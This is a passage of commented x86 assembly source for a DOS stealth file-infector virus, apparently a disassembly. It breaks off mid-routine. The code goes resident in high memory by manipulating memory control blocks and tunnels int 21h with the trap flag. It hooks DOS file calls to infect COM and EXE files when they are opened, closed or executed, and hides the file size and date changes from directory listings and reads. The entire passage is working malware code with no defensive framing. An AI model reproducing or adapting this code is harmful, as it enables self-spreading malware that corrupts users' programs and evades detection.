  1350.                 org     0
  1351. startvirus:
  1352.                 db      0
  1353.                 jmp     installvirus
  1354. oldheader: ; original 1Ch bytes of the carrier file
  1355.                 retn
  1356.                 db      75h,02,44h,15h,46h,20h
  1357.                 db      'Copyright Bourb%}i, I'
  1358. endoldheader:
  1359. EXEflag         db       00h
  1360.                 db      0FEh, 3Ah
  1361.  
  1362. int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
  1363.                 push    bp                      ; set up stack frame
  1364.                 mov     bp,sp
  1365.                 push    ax
  1366.                 cmp     word ptr [bp+4],0C000h  ; in BIOS?
  1367.                 jnb     foundorigint            ; nope, haven't found it
  1368.                 mov     ax,cs:DOSsegment        ; in DOS?
  1369.                 cmp     [bp+4],ax
  1370.                 jbe     foundorigint
  1371. exitint1:
  1372.                 pop     ax
  1373.                 pop     bp
  1374.                 iret
  1375. foundorigint:
  1376.                 cmp     byte ptr cs:tracemode,1
  1377.                 jz      tracemode1
  1378.                 mov     ax,[bp+4]               ; save segment of entry point
  1379.                 mov     word ptr cs:origints+2,ax
  1380.                 mov     ax,[bp+2]               ; save offset of entry point
  1381.                 mov     word ptr cs:origints,ax
  1382.                 jb      finishint1
  1383.                 pop     ax
  1384.                 pop     bp
  1385.                 mov     ss,cs:savess            ; restore the stack to its
  1386.                 mov     sp,cs:savesp            ; original state
  1387.                 mov     al,cs:saveIMR           ; Restore IMR
  1388.                 out     21h,al                  ; (enable interrupts)
  1389.                 jmp     setvirusints
  1390. finishint1:
  1391.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  1392.                 mov     al,cs:saveIMR           ; and restore IMR
  1393.                 out     21h,al
  1394.                 jmp     short exitint1
  1395. tracemode1:
  1396.                 dec     byte ptr cs:instructionstotrace
  1397.                 jnz     exitint1
  1398.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  1399.                 call    saveregs
  1400.                 call    swapvirint21            ; restore original int
  1401.                 lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
  1402.                 mov     al,1
  1403.                 call    setvect
  1404.                 call    restoreregs
  1405.                 jmp     short finishint1
  1406.  
  1407. getint:
  1408.                 push    ds
  1409.                 push    si
  1410.                 xor     si,si                   ; clear si
  1411.                 mov     ds,si                   ; ds->interrupt table
  1412.                 xor     ah,ah                   ; cbw would be better!?
  1413.                 mov     si,ax
  1414.                 shl     si,1                    ; convert int # to offset in
  1415.                 shl     si,1                    ; interrupt table (int # x 4)
  1416.                 mov     bx,[si]                 ; es:bx = interrupt vector
  1417.                 mov     es,[si+2]               ; get old interrupt vector
  1418.                                                 ; save 3 bytes if use les bx,[si]
  1419.                 pop     si
  1420.                 pop     ds
  1421.                 retn
  1422.  
  1423. installvirus:
  1424.                 mov     word ptr cs:stackptr,offset topstack
  1425.                 mov     cs:initialax,ax         ; save initial value for ax
  1426.                 mov     ah,30h                  ; Get DOS version
  1427.                 int     21h
  1428.  
  1429.                 mov     cs:DOSversion,al        ; Save DOS version
  1430.                 mov     cs:carrierPSP,ds        ; Save PSP segment
  1431.                 mov     ah,52h                  ; Get list of lists
  1432.                 int     21h
  1433.  
  1434.                 mov     ax,es:[bx-2]            ; segment of first MCB
  1435.                 mov     cs:DOSsegment,ax        ; save it for use in int 1
  1436.                 mov     es,ax                   ; es = segment first MCB
  1437.                 mov     ax,es:[1]               ; Get owner of first MCB
  1438.                 mov     cs:ownerfirstMCB,ax     ; save it
  1439.                 push    cs
  1440.                 pop     ds
  1441.                 mov     al,1                    ; get single step vector
  1442.                 call    getint
  1443.                 mov     word ptr ds:oldint1,bx  ; save it for later
  1444.                 mov     word ptr ds:oldint1+2,es; restoration
  1445.                 mov     al,21h                  ; get int 21h vector
  1446.                 call    getint
  1447.                 mov     word ptr ds:origints,bx
  1448.                 mov     word ptr ds:origints+2,es
  1449.                 mov     byte ptr ds:tracemode,0 ; regular trace mode on
  1450.                 mov     dx,offset int1          ; set new int 1 handler
  1451.                 mov     al,1
  1452.                 call    setvect
  1453.                 pushf
  1454.                 pop     ax
  1455.                 or      ax,100h                 ; turn on trap flag
  1456.                 push    ax
  1457.                 in      al,21h                  ; Get old IMR
  1458.                 mov     ds:saveIMR,al
  1459.                 mov     al,0FFh                 ; disable all interrupts
  1460.                 out     21h,al
  1461.                 popf
  1462.                 mov     ah,52h                  ; Get list of lists
  1463.                 pushf                           ; (for tracing purposes)
  1464.                 call    dword ptr ds:origints   ; perform the tunnelling
  1465.                 pushf
  1466.                 pop     ax
  1467.                 and     ax,0FEFFh               ; turn off trap flag
  1468.                 push    ax
  1469.                 popf
  1470.                 mov     al,ds:saveIMR           ; reenable interrupts
  1471.                 out     21h,al
  1472.                 push    ds
  1473.                 lds     dx,dword ptr ds:oldint1
  1474.                 mov     al,1                    ; restore int 1 to the
  1475.                 call    setvect                 ; original handler
  1476.                 pop     ds
  1477.                 les     di,dword ptr ds:origints; set up int 21h handlers
  1478.                 mov     word ptr ds:oldint21,di
  1479.                 mov     word ptr ds:oldint21+2,es
  1480.                 mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
  1481.                 mov     word ptr ds:int21store,offset otherint21
  1482.                 mov     word ptr ds:int21store+2,cs
  1483.                 call    swapvirint21            ; activate virus in memory
  1484.                 mov     ax,4B00h
  1485.                 mov     ds:checkres,ah          ; set resident flag to a
  1486.                                                 ; dummy value
  1487.                 mov     dx,offset EXEflag+1     ; save EXE flag
  1488.                 push    word ptr ds:EXEflag
  1489.                 int     21h                     ; installation check
  1490.                                                 ; returns checkres=0 if
  1491.                                                 ; installed
  1492.  
  1493.                 pop     word ptr ds:EXEflag     ; restore EXE flag
  1494.                 add     word ptr es:[di-4],9
  1495.                 nop                             ; !?
  1496.                 mov     es,ds:carrierPSP        ; restore ES and DS to their
  1497.                 mov     ds,ds:carrierPSP        ; original values
  1498.                 sub     word ptr ds:[2],(topstack/10h)+1
  1499.                                                 ; alter top of memory in PSP
  1500.                 mov     bp,ds:[2]               ; get segment
  1501.                 mov     dx,ds
  1502.                 sub     bp,dx
  1503.                 mov     ah,4Ah                  ; Find total available memory
  1504.                 mov     bx,0FFFFh
  1505.                 int     21h
  1506.  
  1507.                 mov     ah,4Ah                  ; Allocate all available memory
  1508.                 int     21h
  1509.  
  1510.                 dec     dx                      ; go to MCB of virus memory
  1511.                 mov     ds,dx
  1512.                 cmp     byte ptr ds:[0],'Z'     ; is it the last block?
  1513.                 je      carrierislastMCB
  1514.                 dec     byte ptr cs:checkres    ; mark need to install virus
  1515. carrierislastMCB:
  1516.                 cmp     byte ptr cs:checkres,0  ; need to install?
  1517.                 je      playwithMCBs            ; nope, go play with MCBs
  1518.                 mov     byte ptr ds:[0],'M'     ; mark not end of chain
  1519. playwithMCBs:
  1520.                 mov     ax,ds:[3]               ; get memory size controlled
  1521.                 mov     bx,ax                   ; by the MCB
  1522.                 sub     ax,(topstack/10h)+1     ; calculate new size
  1523.                 add     dx,ax                   ; find high memory segment
  1524.                 mov     ds:[3],ax               ; put new size in MCB
  1525.                 inc     dx                      ; one more for the MCB
  1526.                 mov     es,dx                   ; es->high memory MCB
  1527.                 mov     byte ptr es:[0],'Z'     ; mark end of chain
  1528.                 push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
  1529.                 pop     word ptr es:[1]         ; make it the owner
  1530.                 mov     word ptr es:[3],160h    ; fill in the size field
  1531.                 inc     dx
  1532.                 mov     es,dx                   ; es->high memory area
  1533.                 push    cs
  1534.                 pop     ds
  1535.                 mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
  1536.                 mov     si,offset topstack-2
  1537.                 mov     di,si
  1538.                 std                             ; zopy backwards
  1539.                 rep     movsw
  1540.                 cld
  1541.                 push    es                      ; set up stack for jmp into
  1542.                 mov     ax,offset highentry     ; virus code in high memory
  1543.                 push    ax
  1544.                 mov     es,cs:carrierPSP        ; save current PSP segment
  1545.                 mov     ah,4Ah                  ; Alter memory allocation
  1546.                 mov     bx,bp                   ; bx = paragraphs
  1547.                 int     21h
  1548.                 retf                            ; jmp to virus code in high
  1549. highentry:                                      ; memory
  1550.                 call    swapvirint21
  1551.                 mov     word ptr cs:int21store+2,cs
  1552.                 call    swapvirint21
  1553.                 push    cs
  1554.                 pop     ds
  1555.                 mov     byte ptr ds:handlesleft,14h ; reset free handles count
  1556.                 push    cs
  1557.                 pop     es
  1558.                 mov     di,offset handletable
  1559.                 mov     cx,14h
  1560.                 xor     ax,ax                   ; clear handle table
  1561.                 rep     stosw
  1562.                 mov     ds:hideclustercountchange,al ; clear the flag
  1563.                 mov     ax,ds:carrierPSP
  1564.                 mov     es,ax                   ; es->PSP
  1565.                 lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
  1566.                 mov     ds,ax                   ; ds->PSP
  1567.                 add     ax,10h                  ; adjust for PSP
  1568.                 add     word ptr cs:oldheader+16h,ax ; adjust jmp location
  1569.                 cmp     byte ptr cs:EXEflag,0   ; for PSP
  1570.                 jne     returntoEXE
  1571. returntoCOM:
  1572.                 sti
  1573.                 mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
  1574.                 mov     ds:[100h],ax            ; COM file
  1575.                 mov     ax,word ptr cs:oldheader+2
  1576.                 mov     ds:[102h],ax
  1577.                 mov     ax,word ptr cs:oldheader+4
  1578.                 mov     ds:[104h],ax
  1579.                 push    word ptr cs:carrierPSP  ; Segment of carrier file's
  1580.                 mov     ax,100h                 ; PSP
  1581.                 push    ax
  1582.                 mov     ax,cs:initialax         ; restore orig. value of ax
  1583.                 retf                            ; return to original COM file
  1584.  
  1585. returntoEXE:
  1586.                 add     word ptr cs:oldheader+0eh,ax
  1587.                 mov     ax,cs:initialax         ; Restore ax
  1588.                 mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
  1589.                 mov     sp,word ptr cs:oldheader+10h ; original value
  1590.                 sti
  1591.                 jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
  1592.                                                 ; entry point
  1593. entervirus:
  1594.                 cmp     sp,100h                 ; COM file?
  1595.                 ja      dont_resetstack         ; if so, skip this
  1596.                 xor     sp,sp                   ; new stack
  1597. dont_resetstack:
  1598.                 mov     bp,ax
  1599.                 call    next                    ; calculate relativeness
  1600. next:
  1601.                 pop     cx
  1602.                 sub     cx,offset next          ; cx = delta offset
  1603.                 mov     ax,cs                   ; ax = segment
  1604.                 mov     bx,10h                  ; convert to offset
  1605.                 mul     bx
  1606.                 add     ax,cx
  1607.                 adc     dx,0
  1608.                 div     bx                      ; convert to seg:off
  1609.                 push    ax                      ; set up stack for jmp
  1610.                 mov     ax,offset installvirus  ; to installvirus
  1611.                 push    ax
  1612.                 mov     ax,bp
  1613.                 retf                            ; go to installvirus
  1614.  
  1615. int21commands:
  1616.                 db      30h     ; get DOS version
  1617.                 dw      offset getDOSversion
  1618.                 db      23h     ; FCB get file size
  1619.                 dw      offset FCBgetfilesize
  1620.                 db      37h     ; get device info
  1621.                 dw      offset get_device_info
  1622.                 db      4Bh     ; execute
  1623.                 dw      offset execute
  1624.                 db      3Ch     ; create file w/ handle
  1625.                 dw      offset createhandle
  1626.                 db      3Dh     ; open file
  1627.                 dw      offset openhandle
  1628.                 db      3Eh     ; close file
  1629.                 dw      offset handleclosefile
  1630.                 db      0Fh     ; FCB open file
  1631.                 dw      offset FCBopenfile
  1632.                 db      14h     ; sequential FCB read
  1633.                 dw      offset sequentialFCBread
  1634.                 db      21h     ; random FCB read
  1635.                 dw      offset randomFCBread
  1636.                 db      27h     ; random FCB block read
  1637.                 dw      offset randomFCBblockread
  1638.                 db      11h     ; FCB find first
  1639.                 dw      offset FCBfindfirstnext
  1640.                 db      12h     ; FCB find next
  1641.                 dw      offset FCBfindfirstnext
  1642.                 db      4Eh     ; filename find first
  1643.                 dw      offset filenamefindfirstnext
  1644.                 db      4Fh     ; filename find next
  1645.                 dw      offset filenamefindfirstnext
  1646.                 db      3Fh     ; read
  1647.                 dw      offset handleread
  1648.                 db      40h     ; write
  1649.                 dw      offset handlewrite
  1650.                 db      42h     ; move file pointer
  1651.                 dw      offset handlemovefilepointer
  1652.                 db      57h     ; get/set file time/date
  1653.                 dw      offset getsetfiletimedate
  1654.                 db      48h     ; allocate memory
  1655.                 dw      offset allocatememory
  1656. endcommands:
  1657.  
  1658. otherint21:
  1659.                 cmp     ax,4B00h                ; execute?
  1660.                 jnz     notexecute
  1661.                 mov     cs:checkres,al          ; clear the resident flag
  1662. notexecute:
  1663.                 push    bp                      ; set up stack frame
  1664.                 mov     bp,sp
  1665.                 push    [bp+6]                  ; push old flags
  1666.                 pop     cs:int21flags           ; and put in variable
  1667.                 pop     bp                      ; why?
  1668.                 push    bp                      ; why?
  1669.                 mov     bp,sp                   ; set up new stack frame
  1670.                 call    saveregs
  1671.                 call    swapvirint21            ; reenable DOS int 21h handler
  1672.                 call    disableBREAK
  1673.                 call    restoreregs
  1674.                 call    _pushall
  1675.                 push    bx
  1676.                 mov     bx,offset int21commands ; bx->command table
  1677. scanforcommand:
  1678.                 cmp     ah,cs:[bx]              ; scan for the function
  1679.                 jne     findnextcommand         ; code/subroutine combination
  1680.                 mov     bx,cs:[bx+1]
  1681.                 xchg    bx,[bp-14h]
  1682.                 cld
  1683.                 retn
  1684. findnextcommand:
  1685.                 add     bx,3                    ; go to next command
  1686.                 cmp     bx,offset endcommands   ; in the table until
  1687.                 jb      scanforcommand          ; there are no more
  1688.                 pop     bx
  1689. exitotherint21:
  1690.                 call    restoreBREAK
  1691.                 in      al,21h                  ; save IMR
  1692.                 mov     cs:saveIMR,al
  1693.                 mov     al,0FFh                 ; disable all interrupts
  1694.                 out     21h,al
  1695.                 mov     byte ptr cs:instructionstotrace,4 ; trace into
  1696.                 mov     byte ptr cs:tracemode,1           ; oldint21
  1697.                 call    replaceint1             ; set virus int 1 handler
  1698.                 call    _popall
  1699.                 push    ax
  1700.                 mov     ax,cs:int21flags        ; get the flags
  1701.                 or      ax,100h                 ; turn on the trap flag
  1702.                 push    ax                      ; and set it in motion
  1703.                 popf
  1704.                 pop     ax
  1705.                 pop     bp
  1706.                 jmp     dword ptr cs:oldint21   ; chain back to original int
  1707.                                                 ; 21h handler -- do not return
  1708.  
  1709. exitint21:
  1710.                 call    saveregs
  1711.                 call    restoreBREAK
  1712.                 call    swapvirint21
  1713.                 call    restoreregs
  1714.                 pop     bp
  1715.                 push    bp                      ; set up stack frame
  1716.                 mov     bp,sp
  1717.                 push    word ptr cs:int21flags  ; get the flags and put
  1718.                 pop     word ptr [bp+6]         ; them on the stack for
  1719.                 pop     bp                      ; the iret
  1720.                 iret
  1721.  
  1722. FCBfindfirstnext:
  1723.                 call    _popall
  1724.                 call    callint21
  1725.                 or      al,al                   ; Found any files?
  1726.                 jnz     exitint21               ; guess not
  1727.                 call    _pushall
  1728.                 call    getdisktransferaddress
  1729.                 mov     al,0
  1730.                 cmp     byte ptr [bx],0FFh      ; Extended FCB?
  1731.                 jne     findfirstnextnoextendedFCB
  1732.                 mov     al,[bx+6]
  1733.                 add     bx,7                    ; convert to normal FCB
  1734. findfirstnextnoextendedFCB:
  1735.                 and     cs:hide_size,al
  1736.                 test    byte ptr [bx+1Ah],80h   ; check year bit for virus
  1737.                 jz      _popall_then_exitint21  ; infection tag. exit if so
  1738.                 sub     byte ptr [bx+1Ah],0C8h  ; alter file date
  1739.                 cmp     byte ptr cs:hide_size,0
  1740.                 jne     _popall_then_exitint21
  1741.                 sub     word ptr [bx+1Dh],1000h ; hide file size
  1742.                 sbb     word ptr [bx+1Fh],0
  1743. _popall_then_exitint21:
  1744.                 call    _popall
  1745.                 jmp     short exitint21
  1746.  
  1747. FCBopenfile:
  1748.                 call    _popall
  1749.                 call    callint21               ; chain to original int 21h
  1750.                 call    _pushall
  1751.                 or      al,al                   ; 0 = success
  1752.                 jnz     _popall_then_exitint21
  1753.                 mov     bx,dx
  1754.                 test    byte ptr [bx+15h],80h   ; check if infected yet
  1755.                 jz      _popall_then_exitint21
  1756.                 sub     byte ptr [bx+15h],0C8h  ; restore date
  1757.                 sub     word ptr [bx+10h],1000h ; and hide file size
  1758.                 sbb     byte ptr [bx+12h],0
  1759.                 jmp     short _popall_then_exitint21
  1760.  
  1761. randomFCBblockread:
  1762.                 jcxz    go_exitotherint21       ; reading any blocks?
  1763.  
  1764. randomFCBread:
  1765.                 mov     bx,dx
  1766.                 mov     si,[bx+21h]             ; check if reading first
  1767.                 or      si,[bx+23h]             ; bytes
  1768.                 jnz     go_exitotherint21
  1769.                 jmp     short continueFCBread
  1770.  
  1771. sequentialFCBread:
  1772.                 mov     bx,dx
  1773.                 mov     ax,[bx+0Ch]             ; check if reading first
  1774.                 or      al,[bx+20h]             ; bytes
  1775.                 jnz     go_exitotherint21
  1776. continueFCBread:
  1777.                 call    checkFCBokinfect
  1778.                 jnc     continuecontinueFCBread
  1779. go_exitotherint21:
  1780.                 jmp     exitotherint21
  1781. continuecontinueFCBread:
  1782.                 call    _popall
  1783.                 call    _pushall
  1784.                 call    callint21               ; chain to original handler
  1785.                 mov     [bp-4],ax               ; set the return codes
  1786.                 mov     [bp-8],cx               ; properly
  1787.                 push    ds                      ; save FCB pointer
  1788.                 push    dx
  1789.                 call    getdisktransferaddress
  1790.                 cmp     word ptr [bx+14h],1     ; check for EXE infection
  1791.                 je      FCBreadinfectedfile     ; (IP = 1)
  1792.                 mov     ax,[bx]                 ; check for COM infection
  1793.                 add     ax,[bx+2]               ; (checksum = 0)
  1794.                 add     ax,[bx+4]
  1795.                 jz      FCBreadinfectedfile
  1796.                 add     sp,4                    ; no infection, no stealth
  1797.                 jmp     short _popall_then_exitint21 ; needed
  1798. FCBreadinfectedfile:
  1799.                 pop     dx                      ; restore address of the FCB
  1800.                 pop     ds
  1801.                 mov     si,dx
  1802.                 push    cs
  1803.                 pop     es
  1804.                 mov     di,offset tempFCB       ; copy FCB to temporary one
  1805.                 mov     cx,25h
  1806.                 rep     movsb
  1807.                 mov     di,offset tempFCB
  1808.                 push    cs
  1809.                 pop     ds
  1810.                 mov     ax,[di+10h]             ; get old file size
  1811.                 mov     dx,[di+12h]
  1812.                 add     ax,100Fh                ; increase by virus size
  1813.                 adc     dx,0                    ; and round to the nearest
  1814.                 and     ax,0FFF0h               ; paragraph
  1815.                 mov     [di+10h],ax             ; insert new file size
  1816.                 mov     [di+12h],dx
  1817.                 sub     ax,0FFCh
  1818.                 sbb     dx,0
  1819.                 mov     [di+21h],ax             ; set new random record #
  1820.                 mov     [di+23h],dx
  1821.                 mov     word ptr [di+0Eh],1     ; record size = 1
  1822.                 mov     cx,1Ch
  1823.                 mov     dx,di
  1824.                 mov     ah,27h                  ; random block read 1Ch bytes
  1825.                 call    callint21
  1826.                 jmp     _popall_then_exitint21
  1827.  
  1828. FCBgetfilesize:
  1829.                 push    cs
  1830.                 pop     es
  1831.                 mov     si,dx
  1832.                 mov     di,offset tempFCB       ; copy FCB to temp buffer
  1833.                 mov     cx,0025h
  1834.                 repz    movsb
  1835.                 push    ds
  1836.                 push    dx
  1837.                 push    cs
  1838.                 pop     ds
  1839.                 mov     dx,offset tempFCB
  1840.                 mov     ah,0Fh                  ; FCB open file
  1841.                 call    callint21
  1842.                 mov     ah,10h                  ; FCB close file
  1843.                 call    callint21
  1844.                 test    byte ptr [tempFCB+15h],80h ; check date bit
  1845.                 pop     si
  1846.                 pop     ds
  1847.                 jz      will_exitotherint21     ; exit if not infected
  1848.                 les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
  1849.                 mov     ax,es
  1850.                 sub     bx,1000h                ; hide increase
  1851.                 sbb     ax,0
  1852.                 xor     dx,dx
  1853.                 mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
  1854.                 dec     cx
  1855.                 add     bx,cx
  1856.                 adc     ax,0
  1857.                 inc     cx
  1858.                 div     cx
  1859.                 mov     [si+23h],ax             ; fix random access record #
  1860.                 xchg    dx,ax
  1861.                 xchg    bx,ax
  1862.                 div     cx
  1863.                 mov     [si+21h],ax             ; fix random access record #
  1864.                 jmp     _popall_then_exitint21
  1865.  
  1866. filenamefindfirstnext:
  1867.                 and     word ptr cs:int21flags,-2 ; turn off trap flag
  1868.                 call    _popall
  1869.                 call    callint21
  1870.                 call    _pushall
  1871.                 jnb     filenamefffnOK          ; continue if a file is found
  1872.                 or      word ptr cs:int21flags,1
  1873.                 jmp     _popall_then_exitint21
  1874.  
  1875. filenamefffnOK:
  1876.                 call    getdisktransferaddress
  1877.                 test    byte ptr [bx+19h],80h   ; Check high bit of date
  1878.                 jnz     filenamefffnfileinfected; Bit set if infected
  1879.                 jmp     _popall_then_exitint21
  1880. filenamefffnfileinfected:
  1881.                 sub     word ptr [bx+1Ah],1000h ; hide file length increase
  1882.                 sbb     word ptr [bx+1Ch],0
  1883.                 sub     byte ptr [bx+19h],0C8h  ; and date change
  1884.                 jmp     _popall_then_exitint21
  1885.  
  1886. createhandle:
  1887.                 push    cx
  1888.                 and     cx,7                    ; mask the attributes
  1889.                 cmp     cx,7                    ; r/o, hidden, & system?
  1890.                 je      exit_create_handle
  1891.                 pop     cx
  1892.                 call    replaceint13and24
  1893.                 call    callint21               ; chain to original int 21h
  1894.                 call    restoreint13and24
  1895.                 pushf
  1896.                 cmp     byte ptr cs:errorflag,0 ; check if any errors yet
  1897.                 je      no_errors_createhandle
  1898.                 popf
  1899. will_exitotherint21:
  1900.                 jmp     exitotherint21
  1901. no_errors_createhandle:
  1902.                 popf
  1903.                 jc      other_error_createhandle; exit on error
  1904.                 mov     bx,ax                   ; move handle to bx
  1905.                 mov     ah,3Eh                  ; Close file
  1906.                 call    callint21
  1907.                 jmp     short openhandle
  1908. other_error_createhandle:
  1909.                 or      byte ptr cs:int21flags,1; turn on the trap flag
  1910.                 mov     [bp-4],ax               ; set the return code properly
  1911.                 jmp     _popall_then_exitint21
  1912. exit_create_handle:
  1913.                 pop     cx
  1914.                 jmp     exitotherint21
  1915.  
  1916. openhandle:
  1917.                 call    getcurrentPSP
  1918.                 call    checkdsdxokinfect
  1919.                 jc      jmp_exitotherint21
  1920.                 cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
  1921.                 je      jmp_exitotherint21        ; entry in the table
  1922.                 call    setup_infection         ; open the file
  1923.                 cmp     bx,0FFFFh               ; error?
  1924.                 je      jmp_exitotherint21      ; if so, exit
  1925.                 dec     byte ptr cs:handlesleft
  1926.                 push    cs
  1927.                 pop     es
  1928.                 mov     di,offset handletable
  1929.                 mov     cx,14h
  1930.                 xor     ax,ax                   ; find end of the table
  1931.                 repne   scasw
  1932.                 mov     ax,cs:currentPSP        ; put the PSP value and the
  1933.                 mov     es:[di-2],ax            ; handle # in the table
  1934.                 mov     es:[di+26h],bx
  1935.                 mov     [bp-4],bx               ; put handle # in return code
  1936. handleopenclose_exit:
  1937.                 and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
  1938.                 jmp     _popall_then_exitint21
  1939. jmp_exitotherint21:
  1940.                 jmp     exitotherint21
  1941.  
  1942. handleclosefile:
  1943.                 push    cs
  1944.                 pop     es
  1945.                 call    getcurrentPSP
  1946.                 mov     di,offset handletable
  1947.                 mov     cx,14h                  ; 14h entries max
  1948.                 mov     ax,cs:currentPSP        ; search for calling PSP
  1949. scanhandle_close:
  1950.                 repne   scasw
  1951.                 jnz     handlenotfound          ; handle not trapped
  1952.                 cmp     bx,es:[di+26h]          ; does the handle correspond?
  1953.                 jne     scanhandle_close        ; if not, find another handle
  1954.                 mov     word ptr es:[di-2],0    ; otherwise, clear handle
  1955.                 call    infect_file
  1956.                 inc     byte ptr cs:handlesleft ; fix handles left counter
  1957.                 jmp     short handleopenclose_exit ; and exit
  1958. handlenotfound:
  1959.                 jmp     exitotherint21
  1960.  
  1961. getdisktransferaddress:
  1962.                 push    es
  1963.                 mov     ah,2Fh                  ; Get disk transfer address
  1964.                 call    callint21               ; to es:bx
  1965.                 push    es
  1966.                 pop     ds                      ; mov to ds:bx
  1967.                 pop     es
  1968.                 retn
  1969. execute:
  1970.                 or      al,al                   ; load and execute?
  1971.                 jz      loadexecute             ; yepper!
  1972.                 jmp     checkloadnoexecute      ; otherwise check if
  1973.                                                 ; load/no execute
  1974. loadexecute:
  1975.                 push    ds                      ; save filename
  1976.                 push    dx
  1977.                 mov     word ptr cs:parmblock,bx; save parameter block and
  1978.                 mov     word ptr cs:parmblock+2,es; move to ds:si
  1979.                 lds     si,dword ptr cs:parmblock
  1980.                 mov     di,offset copyparmblock ; copy the parameter block
  1981.                 mov     cx,0Eh
  1982.                 push    cs
  1983.                 pop     es
  1984.                 rep     movsb
  1985.                 pop     si                      ; copy the filename
  1986.                 pop     ds                      ; to the buffer
  1987.                 mov     di,offset copyfilename
  1988.                 mov     cx,50h
  1989.                 rep     movsb
  1990.                 mov     bx,0FFFFh
  1991.                 call    allocate_memory         ; allocate available memory
  1992.                 call    _popall
  1993.                 pop     bp                      ; save the parameters
  1994.                 pop     word ptr cs:saveoffset  ; on the stack
  1995.                 pop     word ptr cs:savesegment
  1996.                 pop     word ptr cs:int21flags
  1997.                 mov     ax,4B01h                ; load/no execute
  1998.                 push    cs                      ; ds:dx -> file name
  1999.                 pop     es                      ; es:bx -> parameter block
  2000.                 mov     bx,offset copyparmblock
  2001.                 pushf                           ; perform interrupt 21h
  2002.                 call    dword ptr cs:oldint21
  2003.                 jnc     continue_loadexecute    ; continue if no error
  2004.                 or      word ptr cs:int21flags,1; turn on trap flag
  2005.                 push    word ptr cs:int21flags  ; if error
  2006.                 push    word ptr cs:savesegment ; restore stack
  2007.                 push    word ptr cs:saveoffset
  2008.                 push    bp                      ; restore the stack frame
  2009.                 mov     bp,sp                   ; and restore ES:BX to
  2010.                 les     bx,dword ptr cs:parmblock ; point to the parameter
  2011.                 jmp     exitint21               ; block
  2012. continue_loadexecute:
  2013.                 call    getcurrentPSP
  2014.                 push    cs
  2015.                 pop     es
  2016.                 mov     di,offset handletable   ; scan the handle table
  2017.                 mov     cx,14h                  ; for the current PSP's
  2018. scanhandle_loadexecute:                         ; handles
  2019.                 mov     ax,cs:currentPSP
  2020.                 repne   scasw
  2021.                 jnz     loadexecute_checkEXE
  2022.                 mov     word ptr es:[di-2],0    ; clear entry in handle table
  2023.                 inc     byte ptr cs:handlesleft ; fix handlesleft counter
  2024.                 jmp     short scanhandle_loadexecute
  2025. loadexecute_checkEXE:
  2026.                 lds     si,dword ptr cs:origcsip
  2027.                 cmp     si,1                    ; Check if EXE infected
  2028.                 jne     loadexecute_checkCOM
  2029.                 mov     dx,word ptr ds:oldheader+16h ; get initial CS
  2030.                 add     dx,10h                  ; adjust for PSP
  2031.                 mov     ah,51h                  ; Get current PSP segment
  2032.                 call    callint21
  2033.                 add     dx,bx                   ;adjust for start load segment
  2034.                 mov     word ptr cs:origcsip+2,dx
  2035.                 push    word ptr ds:oldheader+14h       ; save old IP
  2036.                 pop     word ptr cs:origcsip
  2037.                 add     bx,10h                          ; adjust for the PSP
  2038.                 add     bx,word ptr ds:oldheader+0Eh    ; add old SS
  2039.                 mov     cs:origss,bx
  2040.                 push    word ptr ds:oldheader+10h       ; old SP
  2041.                 pop     word ptr cs:origsp
  2042.                 jmp     short perform_loadexecute
  2043. loadexecute_checkCOM:
  2044.                 mov     ax,[si]                 ; Check if COM infected
  2045.                 add     ax,[si+2]
  2046.                 add     ax,[si+4]
  2047.                 jz      loadexecute_doCOM       ; exit if already infected
  2048.                 push    cs                      ; otherwise check to see
  2049.                 pop     ds                      ; if it is suitable for
  2050.                 mov     dx,offset copyfilename  ; infection
  2051.                 call    checkdsdxokinfect
  2052.                 call    setup_infection
  2053.                 inc     byte ptr cs:hideclustercountchange
  2054.                 call    infect_file             ; infect the file
  2055.                 dec     byte ptr cs:hideclustercountchange
  2056. perform_loadexecute:
  2057.                 mov     ah,51h                  ; Get current PSP segment
  2058.                 call    callint21
  2059.                 call    saveregs
  2060.                 call    restoreBREAK
  2061.                 call    swapvirint21
  2062.                 call    restoreregs
  2063.                 mov     ds,bx                   ; ds = current PSP segment
  2064.                 mov     es,bx                   ; es = current PSP segment
  2065.                 push    word ptr cs:int21flags  ; restore stack parameters
  2066.                 push    word ptr cs:savesegment
  2067.                 push    word ptr cs:saveoffset
  2068.                 pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
  2069.                 pop     word ptr ds:[0Ch]       ; to return address found on
  2070.                                                 ; the stack
  2071.                                                 ; (int 21h caller CS:IP)
  2072.                 push    ds
  2073.                 lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
  2074.                 mov     al,22h                  ; Set terminate address to it
  2075.                 call    setvect
  2076.                 pop     ds
  2077.                 popf
  2078.                 pop     ax
  2079.                 mov     ss,cs:origss            ; restore the stack
  2080.                 mov     sp,cs:origsp            ; and
  2081.                 jmp     dword ptr cs:origcsip   ; perform the execute
  2082.  
  2083. loadexecute_doCOM:
  2084.                 mov     bx,[si+1]               ; restore original COM file
  2085.                 mov     ax,word ptr ds:[bx+si-261h]
  2086.                 mov     [si],ax
  2087.                 mov     ax,word ptr ds:[bx+si-25Fh]
  2088.                 mov     [si+2],ax
  2089.                 mov     ax,word ptr ds:[bx+si-25Dh]
  2090.                 mov     [si+4],ax
  2091.                 jmp     short perform_loadexecute
  2092. checkloadnoexecute:
  2093.                 cmp     al,1
  2094.                 je      loadnoexecute
  2095.                 jmp     exitotherint21
  2096. loadnoexecute:
  2097.                 or      word ptr cs:int21flags,1; turn on trap flag
  2098.                 mov     word ptr cs:parmblock,bx; save pointer to parameter
  2099.                 mov     word ptr cs:parmblock+2,es ; block
  2100.                 call    _popall
  2101.                 call    callint21               ; chain to int 21h
  2102.                 call    _pushall
  2103.                 les     bx,dword ptr cs:parmblock ; restore pointer to
